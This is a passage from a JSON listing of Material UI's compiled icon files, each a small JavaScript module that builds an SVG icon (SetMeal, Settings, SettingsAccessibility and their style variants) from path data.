8 3.58 8 8-3.58 8-8 8\"\n}), 'SentimentVerySatisfiedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SentimentVerySatisfiedRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m8.88 9.94.53.53c.29.29.77.29 1.06 0s.29-.77 0-1.06l-.88-.88a.996.996 0 0 0-1.41 0l-.89.88c-.29.29-.29.77 0 1.06s.77.29 1.06 0zM12 17.5c2.03 0 3.8-1.11 4.75-2.75.19-.33-.05-.75-.44-.75H7.69c-.38 0-.63.42-.44.75.95 1.64 2.72 2.75 4.75 2.75m1.53-7.03c.29.29.77.29 1.06 0l.53-.53.53.53c.29.29.77.29 1.06 0s.29-.77 0-1.06l-.88-.88a.996.996 0 0 0-1.41 0l-.88.88c-.3.29-.3.77-.01 1.06M11.99 2C6.47 2 2 6.47 2 12s4.47 10 9.99 10S22 17.53 22 12 17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8\"\n}), 'SentimentVerySatisfiedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SentimentVerySatisfiedSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.88 9.94 9.94 11 11 9.94 8.88 7.82 6.76 9.94 7.82 11zM12 17.5c2.33 0 4.31-1.46 5.11-3.5H6.89c.8 2.04 2.78 3.5 5.11 3.5m1-7.56L14.06 11l1.06-1.06L16.18 11l1.06-1.06-2.12-2.12zM11.99 2C6.47 2 2 6.47 2 12s4.47 10 9.99 10S22 17.53 22 12 17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8\"\n}), 'SentimentVerySatisfiedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SentimentVerySatisfiedSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.88 9.94 9.94 11 11 9.94 8.88 7.82 6.76 9.94 7.82 11zM12 17.5c2.33 0 4.31-1.46 5.11-3.5H6.89c.8 2.04 2.78 3.5 5.11 3.5m1-7.56L14.06 11l1.06-1.06L16.18 11l1.06-1.06-2.12-2.12zM11.99 2C6.47 2 2 6.47 2 12s4.47 10 9.99 10S22 17.53 22 12 17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8\"\n}), 'SentimentVerySatisfiedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SentimentVerySatisfiedTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8M8.88 7.82 11 9.94 9.94 11 8.88 9.94 7.82 11 6.76 9.94zM12 17.5c-2.33 0-4.31-1.46-5.11-3.5h10.22c-.8 2.04-2.78 3.5-5.11 3.5m4.18-6.5-1.06-1.06L14.06 11 13 9.94l2.12-2.12 2.12 2.12z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.88 9.94 9.94 11 11 9.94 8.88 7.82 6.76 9.94 7.82 11zm4.12 0L14.06 11l1.06-1.06L16.18 11l1.06-1.06-2.12-2.12zM11.99 2C6.47 2 2 6.47 2 12s4.47 10 9.99 10S22 17.53 22 12 17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8m0-2.5c2.33 0 4.31-1.46 5.11-3.5H6.89c.8 2.04 2.78 3.5 5.11 3.5\"\n}, \"1\")], 'SentimentVerySatisfiedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SentimentVerySatisfiedTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8M8.88 7.82 11 9.94 9.94 11 8.88 9.94 7.82 11 6.76 9.94zM12 17.5c-2.33 0-4.31-1.46-5.11-3.5h10.22c-.8 2.04-2.78 3.5-5.11 3.5m4.18-6.5-1.06-1.06L14.06 11 13 9.94l2.12-2.12 2.12 2.12z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.88 9.94 9.94 11 11 9.94 8.88 7.82 6.76 9.94 7.82 11zm4.12 0L14.06 11l1.06-1.06L16.18 11l1.06-1.06-2.12-2.12zM11.99 2C6.47 2 2 6.47 2 12s4.47 10 9.99 10S22 17.53 22 12 17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8m0-2.5c2.33 0 4.31-1.46 5.11-3.5H6.89c.8 2.04 2.78 3.5 5.11 3.5\"\n}, \"1\")], 'SentimentVerySatisfiedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SetMeal.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.05 17.56-17.97.94L3 17l17.98-.94zM21 19.48H3v1.5h18zM22 5v7c0 1.1-.9 2-2 2H4c-1.1 0-2-.9-2-2V5c0-1.1.9-2 2-2h16c1.1 0 2 .9 2 2m-2 1c-1.68 0-3.04.98-3.21 2.23-.64-.73-2.73-2.73-6.54-2.73-4.67 0-6.75 3-6.75 3s2.08 3 6.75 3c3.81 0 5.9-2 6.54-2.73C16.96 10.02 18.32 11 20 11z\"\n}), 'SetMeal');"
  },
  {
    "path": "packages/mui-icons-material/lib/SetMeal.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.05 17.56-17.97.94L3 17l17.98-.94zM21 19.48H3v1.5h18zM22 5v7c0 1.1-.9 2-2 2H4c-1.1 0-2-.9-2-2V5c0-1.1.9-2 2-2h16c1.1 0 2 .9 2 2m-2 1c-1.68 0-3.04.98-3.21 2.23-.64-.73-2.73-2.73-6.54-2.73-4.67 0-6.75 3-6.75 3s2.08 3 6.75 3c3.81 0 5.9-2 6.54-2.73C16.96 10.02 18.32 11 20 11z\"\n}), 'SetMeal');"
  },
  {
    "path": "packages/mui-icons-material/lib/SetMealOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.05 17.56-17.97.94L3 17l17.98-.94zM21 19.48H3v1.5h18zM23 13V4c0-1.1-.9-2-2-2H3c-1.1 0-2 .9-2 2v9c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2m-2 0H3V4h18zm-1-7c-1.68 0-3.04.98-3.21 2.23-.64-.73-2.73-2.73-6.54-2.73-4.67 0-6.75 3-6.75 3s2.08 3 6.75 3c3.81 0 5.9-2 6.54-2.73C16.96 10.02 18.32 11 20 11z\"\n}), 'SetMealOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SetMealOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.05 17.56-17.97.94L3 17l17.98-.94zM21 19.48H3v1.5h18zM23 13V4c0-1.1-.9-2-2-2H3c-1.1 0-2 .9-2 2v9c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2m-2 0H3V4h18zm-1-7c-1.68 0-3.04.98-3.21 2.23-.64-.73-2.73-2.73-6.54-2.73-4.67 0-6.75 3-6.75 3s2.08 3 6.75 3c3.81 0 5.9-2 6.54-2.73C16.96 10.02 18.32 11 20 11z\"\n}), 'SetMealOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SetMealRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20.3 17.6-16.47.86c-.41.02-.77-.3-.79-.71s.3-.77.71-.79l16.48-.86c.41-.02.77.3.79.71s-.3.77-.72.79m-.05 1.88H3.75c-.41 0-.75.34-.75.75s.34.75.75.75h16.5c.41 0 .75-.34.75-.75s-.34-.75-.75-.75M22 5v7c0 1.1-.9 2-2 2H4c-1.1 0-2-.9-2-2V5c0-1.1.9-2 2-2h16c1.1 0 2 .9 2 2m-2.88 1.09c-1.25.27-2.19 1.11-2.33 2.14-.64-.73-2.73-2.73-6.54-2.73-3.44 0-5.48 1.63-6.31 2.49-.28.29-.28.74 0 1.03.83.86 2.87 2.49 6.31 2.49 3.81 0 5.9-2 6.54-2.73.14 1.02 1.08 1.86 2.33 2.14.46.1.88-.28.88-.74V6.84c0-.47-.43-.85-.88-.75\"\n}), 'SetMealRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SetMealRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m20.3 17.6-16.47.86c-.41.02-.77-.3-.79-.71s.3-.77.71-.79l16.48-.86c.41-.02.77.3.79.71s-.3.77-.72.79m-.05 1.88H3.75c-.41 0-.75.34-.75.75s.34.75.75.75h16.5c.41 0 .75-.34.75-.75s-.34-.75-.75-.75M22 5v7c0 1.1-.9 2-2 2H4c-1.1 0-2-.9-2-2V5c0-1.1.9-2 2-2h16c1.1 0 2 .9 2 2m-2.88 1.09c-1.25.27-2.19 1.11-2.33 2.14-.64-.73-2.73-2.73-6.54-2.73-3.44 0-5.48 1.63-6.31 2.49-.28.29-.28.74 0 1.03.83.86 2.87 2.49 6.31 2.49 3.81 0 5.9-2 6.54-2.73.14 1.02 1.08 1.86 2.33 2.14.46.1.88-.28.88-.74V6.84c0-.47-.43-.85-.88-.75\"\n}), 'SetMealRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SetMealSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.05 17.56-17.97.94L3 17l17.98-.94zM21 19.48H3v1.5h18zM22 3v11H2V3zm-2 3c-1.68 0-3.04.98-3.21 2.23-.64-.73-2.73-2.73-6.54-2.73-4.67 0-6.75 3-6.75 3s2.08 3 6.75 3c3.81 0 5.9-2 6.54-2.73C16.96 10.02 18.32 11 20 11z\"\n}), 'SetMealSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SetMealSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.05 17.56-17.97.94L3 17l17.98-.94zM21 19.48H3v1.5h18zM22 3v11H2V3zm-2 3c-1.68 0-3.04.98-3.21 2.23-.64-.73-2.73-2.73-6.54-2.73-4.67 0-6.75 3-6.75 3s2.08 3 6.75 3c3.81 0 5.9-2 6.54-2.73C16.96 10.02 18.32 11 20 11z\"\n}), 'SetMealSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SetMealTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 13H3V4h18zm-1-7c-1.68 0-3.04.98-3.21 2.23-.64-.73-2.73-2.73-6.54-2.73-4.67 0-6.75 3-6.75 3s2.08 3 6.75 3c3.81 0 5.9-2 6.54-2.73C16.96 10.02 18.32 11 20 11z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.05 17.56-17.97.94L3 17l17.98-.94zM21 19.48H3v1.5h18zM23 13V4c0-1.1-.9-2-2-2H3c-1.1 0-2 .9-2 2v9c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2m-2 0H3V4h18zm-1-7c-1.68 0-3.04.98-3.21 2.23-.64-.73-2.73-2.73-6.54-2.73-4.67 0-6.75 3-6.75 3s2.08 3 6.75 3c3.81 0 5.9-2 6.54-2.73C16.96 10.02 18.32 11 20 11z\"\n}, \"1\")], 'SetMealTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SetMealTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 13H3V4h18zm-1-7c-1.68 0-3.04.98-3.21 2.23-.64-.73-2.73-2.73-6.54-2.73-4.67 0-6.75 3-6.75 3s2.08 3 6.75 3c3.81 0 5.9-2 6.54-2.73C16.96 10.02 18.32 11 20 11z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.05 17.56-17.97.94L3 17l17.98-.94zM21 19.48H3v1.5h18zM23 13V4c0-1.1-.9-2-2-2H3c-1.1 0-2 .9-2 2v9c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2m-2 0H3V4h18zm-1-7c-1.68 0-3.04.98-3.21 2.23-.64-.73-2.73-2.73-6.54-2.73-4.67 0-6.75 3-6.75 3s2.08 3 6.75 3c3.81 0 5.9-2 6.54-2.73C16.96 10.02 18.32 11 20 11z\"\n}, \"1\")], 'SetMealTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Settings.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.14 12.94c.04-.3.06-.61.06-.94 0-.32-.02-.64-.07-.94l2.03-1.58c.18-.14.23-.41.12-.61l-1.92-3.32c-.12-.22-.37-.29-.59-.22l-2.39.96c-.5-.38-1.03-.7-1.62-.94l-.36-2.54c-.04-.24-.24-.41-.48-.41h-3.84c-.24 0-.43.17-.47.41l-.36 2.54c-.59.24-1.13.57-1.62.94l-2.39-.96c-.22-.08-.47 0-.59.22L2.74 8.87c-.12.21-.08.47.12.61l2.03 1.58c-.05.3-.09.63-.09.94s.02.64.07.94l-2.03 1.58c-.18.14-.23.41-.12.61l1.92 3.32c.12.22.37.29.59.22l2.39-.96c.5.38 1.03.7 1.62.94l.36 2.54c.05.24.24.41.48.41h3.84c.24 0 .44-.17.47-.41l.36-2.54c.59-.24 1.13-.56 1.62-.94l2.39.96c.22.08.47 0 .59-.22l1.92-3.32c.12-.22.07-.47-.12-.61zM12 15.6c-1.98 0-3.6-1.62-3.6-3.6s1.62-3.6 3.6-3.6 3.6 1.62 3.6 3.6-1.62 3.6-3.6 3.6\"\n}), 'Settings');"
  },
  {
    "path": "packages/mui-icons-material/lib/Settings.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.14 12.94c.04-.3.06-.61.06-.94 0-.32-.02-.64-.07-.94l2.03-1.58c.18-.14.23-.41.12-.61l-1.92-3.32c-.12-.22-.37-.29-.59-.22l-2.39.96c-.5-.38-1.03-.7-1.62-.94l-.36-2.54c-.04-.24-.24-.41-.48-.41h-3.84c-.24 0-.43.17-.47.41l-.36 2.54c-.59.24-1.13.57-1.62.94l-2.39-.96c-.22-.08-.47 0-.59.22L2.74 8.87c-.12.21-.08.47.12.61l2.03 1.58c-.05.3-.09.63-.09.94s.02.64.07.94l-2.03 1.58c-.18.14-.23.41-.12.61l1.92 3.32c.12.22.37.29.59.22l2.39-.96c.5.38 1.03.7 1.62.94l.36 2.54c.05.24.24.41.48.41h3.84c.24 0 .44-.17.47-.41l.36-2.54c.59-.24 1.13-.56 1.62-.94l2.39.96c.22.08.47 0 .59-.22l1.92-3.32c.12-.22.07-.47-.12-.61zM12 15.6c-1.98 0-3.6-1.62-3.6-3.6s1.62-3.6 3.6-3.6 3.6 1.62 3.6 3.6-1.62 3.6-3.6 3.6\"\n}), 'Settings');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsAccessibility.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.5 4c-2.61.7-5.67 1-8.5 1s-5.89-.3-8.5-1L3 6c1.86.5 4 .83 6 1v12h2v-6h2v6h2V7c2-.17 4.14-.5 6-1zM12 4c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2M7 24h2v-2H7zm4 0h2v-2h-2zm4 0h2v-2h-2z\"\n}), 'SettingsAccessibility');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsAccessibility.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.5 4c-2.61.7-5.67 1-8.5 1s-5.89-.3-8.5-1L3 6c1.86.5 4 .83 6 1v12h2v-6h2v6h2V7c2-.17 4.14-.5 6-1zM12 4c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2M7 24h2v-2H7zm4 0h2v-2h-2zm4 0h2v-2h-2z\"\n}), 'SettingsAccessibility');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsAccessibilityOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.5 4c-2.61.7-5.67 1-8.5 1s-5.89-.3-8.5-1L3 6c1.86.5 4 .83 6 1v12h2v-6h2v6h2V7c2-.17 4.14-.5 6-1zM12 4c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2M7 24h2v-2H7zm4 0h2v-2h-2zm4 0h2v-2h-2z\"\n}), 'SettingsAccessibilityOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsAccessibilityOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.5 4c-2.61.7-5.67 1-8.5 1s-5.89-.3-8.5-1L3 6c1.86.5 4 .83 6 1v12h2v-6h2v6h2V7c2-.17 4.14-.5 6-1zM12 4c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2M7 24h2v-2H7zm4 0h2v-2h-2zm4 0h2v-2h-2z\"\n}), 'SettingsAccessibilityOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsAccessibilityRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.74 4.96c-.13-.53-.67-.85-1.2-.73-2.38.54-5.05.77-7.54.77s-5.16-.23-7.54-.76c-.54-.12-1.07.19-1.2.73l-.02.05c-.13.54.19 1.1.73 1.22 1.62.37 3.37.62 5.03.76v11c0 .55.45 1 1 1s1-.45 1-1v-5h2v5c0 .55.45 1 1 1s1-.45 1-1V7c1.66-.14 3.41-.39 5.03-.76.54-.12.86-.68.73-1.22zM12 4c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2M8 24c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m4 0c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m4 0c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1\"\n}), 'SettingsAccessibilityRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsAccessibilityRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.74 4.96c-.13-.53-.67-.85-1.2-.73-2.38.54-5.05.77-7.54.77s-5.16-.23-7.54-.76c-.54-.12-1.07.19-1.2.73l-.02.05c-.13.54.19 1.1.73 1.22 1.62.37 3.37.62 5.03.76v11c0 .55.45 1 1 1s1-.45 1-1v-5h2v5c0 .55.45 1 1 1s1-.45 1-1V7c1.66-.14 3.41-.39 5.03-.76.54-.12.86-.68.73-1.22zM12 4c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2M8 24c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m4 0c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m4 0c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1\"\n}), 'SettingsAccessibilityRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsAccessibilitySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.5 4c-2.61.7-5.67 1-8.5 1s-5.89-.3-8.5-1L3 6c1.86.5 4 .83 6 1v12h2v-6h2v6h2V7c2-.17 4.14-.5 6-1zM12 4c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2M7 24h2v-2H7zm4 0h2v-2h-2zm4 0h2v-2h-2z\"\n}), 'SettingsAccessibilitySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsAccessibilitySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.5 4c-2.61.7-5.67 1-8.5 1s-5.89-.3-8.5-1L3 6c1.86.5 4 .83 6 1v12h2v-6h2v6h2V7c2-.17 4.14-.5 6-1zM12 4c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2M7 24h2v-2H7zm4 0h2v-2h-2zm4 0h2v-2h-2z\"\n}), 'SettingsAccessibilitySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsAccessibilityTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.5 4c-2.61.7-5.67 1-8.5 1s-5.89-.3-8.5-1L3 6c1.86.5 4 .83 6 1v12h2v-6h2v6h2V7c2-.17 4.14-.5 6-1zM12 4c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2M7 24h2v-2H7zm4 0h2v-2h-2zm4 0h2v-2h-2z\"\n}), 'SettingsAccessibilityTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsAccessibilityTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.5 4c-2.61.7-5.67 1-8.5 1s-5.89-.3-8.5-1L3 6c1.86.5 4 .83 6 1v12h2v-6h2v6h2V7c2-.17 4.14-.5 6-1zM12 4c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2M7 24h2v-2H7zm4 0h2v-2h-2zm4 0h2v-2h-2z\"\n}), 'SettingsAccessibilityTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsApplications.js",
